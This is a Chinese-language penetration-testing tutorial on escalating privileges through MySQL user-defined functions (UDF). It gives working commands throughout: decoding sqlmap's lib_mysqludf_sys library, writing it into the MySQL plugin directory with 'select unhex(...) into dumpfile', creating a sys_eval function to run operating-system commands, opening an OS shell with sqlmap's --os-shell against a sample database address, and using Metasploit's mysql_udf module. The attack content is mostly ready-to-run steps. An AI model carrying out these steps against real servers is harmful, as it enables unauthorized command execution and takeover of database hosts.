MySQL-UDF提权
MySQL-UDF提权
什么是UDF
UDF:用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
条件
Windows
- 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的
lib\plugin\文件夹下(windows下默认这个目录是不存在的,所以需要有权限创建) - 如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
- 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
- 拥有可以将udf.dll写入相应目录的权限。
Linux
- 放到mysql安装目录的
lib\plugin\即可
show variables like '%plugin%';

利用过程
上传so或者dll到 plugin
在linux系统中是so文件
在windows是dll文件
linux比较常用,这里拿linux举例
先把sqlmap自带的可执行命令的UDF文件解码
这个脚本在sqlmap的extra/cloak下,自带了
kali的话在/usr/share/sqlmap/extra/cloak

python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_
cd ../../data/udf/mysql/linux/64/

然后把解码的so文件或者dll文件放到目标的plugins目录下
- 可以用
select unhex(...) into dumpfile "/usr/lib/mysql/plugin/lib_mysqludf_sys.so" xxd -ps lib_mysqludf_sys.so可以获取到文件的十六进制- 也可以直接上传(如果权限够)
然后进入对方的mysql中操作:
create function sys_eval returns string soname "lib_mysqludf_sys.so";
select sys_eval("id");
-- 删除函数
drop function sys_eval;
简化操作
sqlmap
作为神器,当然是有UDF提权的功能的
python3 sqlmap.py -d mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
python3 sqlmap.py -d "mysql://root:@10.8.194.18:3306/mysql" --os-shell
MSF
很典型的渗透测试框架,对于UDF提权的部分肯定也是支持的
msfconsole
search mysql_udf
show options

提供对应的参数即可利用了
